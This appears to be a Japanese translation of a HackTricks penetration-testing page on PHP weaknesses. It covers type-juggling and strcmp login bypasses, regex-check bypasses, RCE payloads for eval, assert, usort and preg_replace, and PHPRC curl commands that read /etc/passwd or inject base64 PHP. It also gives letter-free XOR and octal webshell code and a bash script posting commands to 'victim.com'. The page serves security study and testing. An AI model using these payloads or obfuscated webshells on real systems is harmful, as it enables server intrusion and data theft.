PHP Tricks

**htARTE(HackTricks AWS Red Team Expert)** **を使って、ゼロからヒーローまでAWSハッキングを学ぶ**

HackTricksをサポートする他の方法:

クッキーの一般的な場所:

これはphpMyAdminのクッキーにも有効です。

クッキー:

PHPSESSID
phpMyAdmin

場所:

/var/lib/php/sessions
/var/lib/php5/
/tmp/
Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e

PHP比較のバイパス

緩い比較/型変換(==)

PHPで==が使用されると、比較が予期しない挙動を示す場合があります。これは、"=="は値を同じ型に変換してから比較するためです。比較するデータの型も同じであることを比較したい場合は、===を使用する必要があります。

PHP比較テーブル: https://www.php.net/manual/en/types.comparisons.php

  • "string" == 0 -> True 数字で始まらない文字列は数字と等しい

  • "0xAAAA" == "43690" -> True 10進数または16進数形式の数字で構成された文字列は、他の数字/文字列と比較してTrueとなる(文字列内の数字は数字として解釈される)

  • "0e3264578" == 0 --> True "0e"で始まり、その後に何かが続く文字列は0と等しい

  • "0X3264578" == 0X --> True "0"で始まり、任意の文字(Xは任意の文字)が続き、その後に何かが続く文字列は0と等しい

  • "0e12334" == "0" --> True これは非常に興味深いです。いくつかのケースでは、"0"で始まり、ハッシュ化されたコンテンツと比較される文字列入力を制御できます。したがって、"0e"で始まり、任意の文字がないハッシュを作成する値を提供できれば、比較をバイパスできます。この形式の既にハッシュ化された文字列はここで見つけることができます: https://github.com/spaze/hashes

  • "X" == 0 --> True 文字列内の任意の文字は整数0と等しい

詳細はhttps://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09で確認できます。

in_array()

型変換は、in_array()関数にもデフォルトで影響します(厳密な比較を行うには3番目の引数をtrueに設定する必要があります)。

$values = array("apple","orange","pear","grape");
var_dump(in_array(0, $values));
//True
var_dump(in_array(0, $values, true));
//False

strcmp()/strcasecmp()

この関数が任意の認証チェック(パスワードのチェックなど)に使用されている場合、ユーザーが比較の一方を制御できると、パスワードの値として文字列の代わりに空の配列を送信することができ、このチェックをバイパスできます (https://example.com/login.php/?username=admin&password[]=)。

if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password
if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password

厳密な型変換

たとえ === が使用されている場合でも、型変換脆弱なエラーが発生する可能性があります。たとえば、比較が行われる前にデータが異なるタイプのオブジェクトに変換されている場合:

(int) "1abc" === (int) "1xyz" //This will be true

preg_match(/^.*/)

preg_match()を使用して、ユーザー入力を検証できます(ブラックリストからの単語/正規表現ユーザー入力存在するかどうかを確認し、そうでない場合、コードはその実行を続行できます)。

改行バイパス

ただし、regexpの開始を区切るときに、preg_match()ユーザー入力の最初の行のみをチェックするため、何らかの方法で複数行で入力を送信できると、このチェックをバイパスできるかもしれません。例:

$myinput="aaaaaaa
11111111"; //Notice the new line
echo preg_match("/1/",$myinput);
//1  --> In this scenario preg_match find the char "1"
echo preg_match("/1.*$/",$myinput);
//1  --> In this scenario preg_match find the char "1"
echo preg_match("/^.*1/",$myinput);
//0  --> In this scenario preg_match DOESN'T find the char "1"
echo preg_match("/^.*1.*$/",$myinput);
//0  --> In this scenario preg_match DOESN'T find the char "1"

このチェックをバイパスするためには、新しい行でurlエンコードされた値を送信%0A)するか、JSONデータを送信できる場合は、複数行で送信してください:

{
"cmd": "cat /etc/passwd"
}

Find an example here: https://ramadistra.dev/fbctf-2019-rceservice

長さエラーバイパス

(このバイパスは、おそらくPHP 5.2.5で試され、PHP 7.3.15では機能しなかったようです) preg_match() に非常に大きな入力を送信できる場合、それを処理できなくなり、チェックをバイパスできます。たとえば、JSONをブラックリストに登録している場合、次のように送信できます:

payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'

ReDoS バイパス

トリック元: https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223 および https://mizu.re/post/pong

要約すると、問題が発生するのは PHP の preg_* 関数が PCRE ライブラリ を基にしているためです。PCRE では特定の正規表現が多くの再帰呼び出しを使用して一致するため、多くのスタック領域を使用します。再帰の許容量を制限することが可能ですが、PHP ではこの制限がデフォルトで 100,000に設定されており、スタックに収まりきらないほど多いです。

この問題について詳しく説明されているこのStackoverflowスレッドも投稿にリンクされています。私たちのタスクは明確でした: 正規表現が 100,000 回以上の再帰を行う入力を送信し、SIGSEGV を引き起こし、preg_match() 関数が false を返すようにし、アプリケーションが入力を悪意のあるものと考えさせ、ペイロードの最後に {system(<verybadcommand>)} のようなサプライズを投げて SSTI --> RCE --> フラグを取得する :)

実際には、正規表現の観点からは、100k の "再帰"を行っているわけではなく、代わりに "バックトラッキングステップ"をカウントしています。これは PHP のドキュメント によると、pcre.backtrack_limit 変数でデフォルトで 1,000,000 (100万) に設定されています。 これを達成するためには、'X'*500_001 とすると、100万のバックトラッキングステップが発生します (50万回の前進と50万回の後退):

payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"

PHPの難読化のための型変換

$obfs = "1"; //string "1"
$obfs++; //int 2
$obfs += 0.2; //float 2.2
$obfs = 1 + "7 IGNORE"; //int 8
$obfs = "string" + array("1.1 striiing")[0]; //float 1.1
$obfs = 3+2 * (TRUE + TRUE); //int 7
$obfs .= ""; //string "7"
$obfs += ""; //int 7

リダイレクト後に実行(EAR)

PHPが別のページにリダイレクトしている場合でも、**dieまたはexit関数がLocation**ヘッダが設定された後に呼び出されていない場合、PHPは実行を継続し、データを本文に追加します。

<?php
// In this page the page will be read and the content appended to the body of
// the redirect response
$page = $_GET['page'];
header('Location: /index.php?page=default.html');
readfile($page);
?>

パストラバーサルとファイルインクルージョンの悪用

チェック:

pageFile Inclusion/Path traversal

もっとトリック

  • register_globals: PHP < 4.1.1.1 または設定ミスの場合、register_globals が有効になっている可能性があります(またはその挙動が模倣されています)。これは、グローバル変数(例:$_GET)に値がある場合、例えば $_GET["param"]="1234" のように、$param を介してアクセスできることを意味します。そのため、HTTPパラメータを送信することで、コード内で使用されている変数を上書きできます。

  • 同じドメインのPHPSESSIONクッキーは同じ場所に保存されるため、同じドメイン内で異なるパスで異なるクッキーが使用されている場合、あるパスが他のパスのクッキーにアクセスするように設定できます。これにより、両方のパスが同じ名前の変数にアクセスする場合、path1の変数の値をpath2に適用させることができます。そして、path2はpath1の変数を有効として受け入れます(path2に対応する名前をクッキーに与えることで)。

  • マシンのユーザーのユーザー名を持っている場合は、アドレスをチェックしてください:/~<USERNAME> がPHPディレクトリが有効化されているかどうかを確認します。

password_hash/password_verify

これらの関数は、通常、PHPでパスワードからハッシュを生成し、パスワードがハッシュと一致するかどうかをチェックするために使用されます。 サポートされているアルゴリズムは、PASSWORD_DEFAULTPASSWORD_BCRYPT$2y$ で始まる)です。PASSWORD_DEFAULT は頻繁に PASSWORD_BCRYPT と同じです。現在、PASSWORD_BCRYPT72バイトの入力のサイズ制限があります。したがって、このアルゴリズムで72バイトより大きなものをハッシュしようとすると、最初の72バイトのみが使用されます:

$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
False

$cont=72; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
True

HTTPヘッダーのバイパスを利用したPHPエラーの乱用

PHPページがエラーを出力し、ユーザーが提供した入力をエコーしている場合、ユーザーはPHPサーバーにいくつかの十分に長いコンテンツを出力させることができ、サーバーがレスポンスにヘッダーを追加しようとするとエラーが発生します。 次のシナリオでは、攻撃者がサーバーに大きなエラーを発生させました。スクリーンショットで見ると、PHPがヘッダー情報を変更しようとしたときにできなかったことがわかります(たとえば、CSPヘッダーがユーザーに送信されませんでした):

コード実行

system("ls"); `ls`; shell_exec("ls");

これをチェックして、より便利なPHP関数を確認してください

**preg_replace()**を介したRCE

preg_replace(pattern,replace,base)
preg_replace("/a/e","phpinfo()","whatever")

「replace」引数のコードを実行するには、少なくとも1つの一致が必要です。 このpreg_replaceのオプションは、PHP 5.5.0以降で非推奨となりました。

Eval()を通じたRCE

'.system('uname -a'); $dummy='
'.system('uname -a');#
'.system('uname -a');//
'.phpinfo().'
<?php phpinfo(); ?>

Assert()を使用したRCE

このphp内の関数は、文字列で書かれたコードを実行してtrueまたはfalseを返すことができます(これに応じて実行を変更します)。通常、ユーザー変数は文字列の中に挿入されます。例えば: assert("strpos($_GET['page']),'..') === false") --> この場合、RCEを取得するには、次のようにします:

?page=a','NeVeR') === false and system('ls') and strpos('a

usort()を使用したRCE

この関数は、特定の関数を使用してアイテムの配列をソートするために使用されます。 この関数を悪用するには:

<?php usort(VALUE, "cmp"); #Being cmp a valid function ?>
VALUE: );phpinfo();#

<?php usort();phpinfo();#, "cmp"); #Being cmp a valid function ?>
<?php
function foo($x,$y){
usort(VALUE, "cmp");
}?>
VALUE: );}[PHP CODE];#

<?php
function foo($x,$y){
usort();}phpinfo;#, "cmp");
}?>

**//**を使用してコードの残りをコメントアウトすることもできます。

閉じる必要があるかっこの数を見つけるには:

  • ?order=id;}//: エラーメッセージが表示されます(Parse error: syntax error, unexpected ';')。おそらく1つ以上の括弧が不足している可能性があります。

  • ?order=id);}//: 警告が表示されます。それは正しいようです。

  • ?order=id));}//: エラーメッセージが表示されます(Parse error: syntax error, unexpected ')' i)。閉じるかっこの数が多すぎる可能性があります。

.httaccessを介したRCE

.htaccessアップロードできる場合、いくつかの設定を構成したり、コードを実行したりすることができます(拡張子が.htaccessのファイルが実行されるように構成することができます)。

異なる.htaccessシェルはこちらで見つけることができます。

Env変数を介したRCE

PHPで環境変数を変更する脆弱性を見つけた場合(他のファイルをアップロードすることができる脆弱性もあれば、さらなる調査でこれをバイパスできるかもしれません)、この動作を悪用してRCEを取得できます。

  • LD_PRELOAD: この環境変数は他のバイナリを実行する際に任意のライブラリをロードすることを可能にします(この場合は機能しないかもしれません)。

  • PHPRC : PHPに構成ファイルである通常php.iniと呼ばれるファイルの場所を指示します。独自の構成ファイルをアップロードできる場合は、PHPRCを使用してPHPを指定します。2番目にアップロードしたファイルを指定する**auto_prepend_fileエントリを追加します。この2番目のファイルには通常のPHPコードが含まれており**、PHPランタイムによって他のコードよりも前に実行されます。

  1. シェルコードを含むPHPファイルをアップロードします

  2. 2番目のファイルをアップロードし、PHPプリプロセッサにアップロードしたファイルをステップ1で実行するよう指示する**auto_prepend_file**ディレクティブを含めます

  3. PHPRC変数をステップ2でアップロードしたファイルに設定します。

  • このチェーンを実行する方法についての詳細は元のレポートを参照してください。

  • PHPRC - 別のオプション

  • ファイルをアップロードできない場合、FreeBSDでは「ファイル」/dev/fd/0を使用できます。これには**stdinが含まれており、リクエストの本文**がstdinに送信されます:

  • curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'

  • または、allow_url_includeを有効にしてファイルの前にbase64 PHPコードを追加してRCEを取得します:

  • curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'

  • この手法はこのレポートからです。

PHP静的解析

これらの関数への呼び出しにコードを挿入できるかどうかを確認してください(こちらから)。

exec, shell_exec, system, passthru, eval, popen
unserialize, include, file_put_cotents
$_COOKIE | if #This mea

PHPアプリケーションのデバッグ中にエラー表示を有効にするには、/etc/php5/apache2/php.inidisplay_errors = Onを追加し、Apacheを再起動します:sudo systemctl restart apache2

PHPコードの逆難読化

web www.unphp.net を使用してPHPコードの逆難読化を行うことができます。

PHPラッパー&プロトコル

PHPラッパーとプロトコルを使用すると、システム内の書き込みおよび読み取り保護をバイパスして侵害することができる可能性があります。詳細については、このページをご覧ください

Xdebug未認証RCE

phpconfig()の出力でXdebug有効になっている場合、https://github.com/nqxcode/xdebug-exploitを使用してRCEを取得しようとする必要があります。

変数変数

$x = 'Da';
$$x = 'Drums';

echo $x; //Da
echo $$x; //Drums
echo $Da; //Drums
echo "${Da}"; //Drums
echo "$x ${$x}"; //Da Drums
echo "$x ${Da}"; //Da Drums

新しい $_GET["a"]($_GET["b"]) を悪用した RCE

ページ内で任意のクラスの新しいオブジェクトを作成できる場合、RCE を取得できるかもしれません。詳細については、以下のページをチェックしてください:

pagePHP - RCE abusing object creation: new $_GET["a"]($_GET["b"])

文字を使用せずに PHP を実行する

https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/

八進数を使用

$_="\163\171\163\164\145\155(\143\141\164\40\56\160\141\163\163\167\144)"; #system(cat .passwd);

XOR

XOR演算子は、2つのビットが異なる場合に1を返すビット演算子です。これは、データの暗号化や複雑な計算に使用されることがあります。

$_=("%28"^"[").("%33"^"[").("%34"^"[").("%2c"^"[").("%04"^"[").("%28"^"[").("%34"^"[").("%2e"^"[").("%29"^"[").("%38"^"[").("%3e"^"["); #show_source
$__=("%0f"^"!").("%2f"^"_").("%3e"^"_").("%2c"^"_").("%2c"^"_").("%28"^"_").("%3b"^"_"); #.passwd
$___=$__; #Could be not needed inside eval
$_($___); #If ¢___ not needed then $_($__), show_source(.passwd)

XOR簡単なシェルコード

この解説によると、次のように簡単なシェルコードを生成することが可能です。

$_="`{{{"^"?<>/"; // $_ = '_GET';
${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);

$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]);

したがって、数字や文字なしに任意のPHPを実行できる場合、次のようなリクエストを送信して、任意のPHPを実行するペイロードを悪用できます:

POST: /action.php?_=system&__=cat+flag.php
Content-Type: application/x-www-form-urlencoded

comando=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);

より詳しい説明については、https://ctf-wiki.org/web/php/php/#preg_matchを参照してください。

XOR シェルコード(eval 内部)

#!/bin/bash

if [[ -z $1 ]]; then
echo "USAGE: $0 CMD"
exit
fi

CMD=$1
CODE="\$_='\
lt;>/'^'{{{{';\${\$_}[_](\${\$_}[__]);" `$_='
lt;>/'^'{{{{'; --> _GET` `${$_}[_](${$_}[__]); --> $_GET[_]($_GET[__])` `So, the function is inside $_GET[_] and the parameter is inside $_GET[__]` http --form POST "http://victim.com/index.php?_=system&__=$CMD" "input=$CODE"

パールのように

<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
ゼロからヒーローまでのAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)

HackTricksをサポートする他の方法:

Last updated